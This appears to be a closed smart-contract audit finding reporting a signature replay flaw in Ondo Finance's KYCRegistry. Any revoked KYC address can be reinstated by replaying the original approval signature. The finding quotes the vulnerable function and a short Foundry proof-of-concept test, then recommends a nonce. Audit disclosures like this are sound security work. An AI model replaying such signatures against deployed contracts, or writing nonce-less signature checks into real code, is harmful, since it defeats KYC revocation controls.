Closed
Description
Lines of code
Vulnerability details
Impact
Attacker can replay KYCRegistry.addKYCAddressViaSignature to reinstate a previously revoked KYC address. Since KYC is an important part of Ondo Finance, the risk is relatively high. This issue is partially mitigated assuming the deadline is reasonably set.
function addKYCAddressViaSignature(
uint256 kycRequirementGroup,
address user,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(v == 27 || v == 28, "KYCRegistry: invalid v value in signature");
require(
!kycState[kycRequirementGroup][user],
"KYCRegistry: user already verified"
);
require(block.timestamp <= deadline, "KYCRegistry: signature expired");
bytes32 structHash = keccak256(
abi.encode(_APPROVAL_TYPEHASH, kycRequirementGroup, user, deadline)
);
// https://eips.ethereum.org/EIPS/eip-712 compliant
bytes32 expectedMessage = _hashTypedDataV4(structHash);
// `ECDSA.recover` reverts if signer is address(0)
address signer = ECDSA.recover(expectedMessage, v, r, s);
_checkRole(kycGroupRoles[kycRequirementGroup], signer);
kycState[kycRequirementGroup][user] = true;
emit KYCAddressAddViaSignature(
msg.sender,
user,
signer,
kycRequirementGroup,
deadline
);
}
Proof of Concept
address[] addresses;
function test_signature_replay() public {
test_signature_add_happy_case();
addresses.push(user1);
vm.startPrank(signer);
registry.removeKYCAddresses(1, addresses);
vm.stopPrank();
assertEq(registry.getKYCStatus(1, user1), false);
test_signature_add_happy_case();
}
Tools Used
Foundry
Recommended Mitigation Steps
Add a nonce or store used sig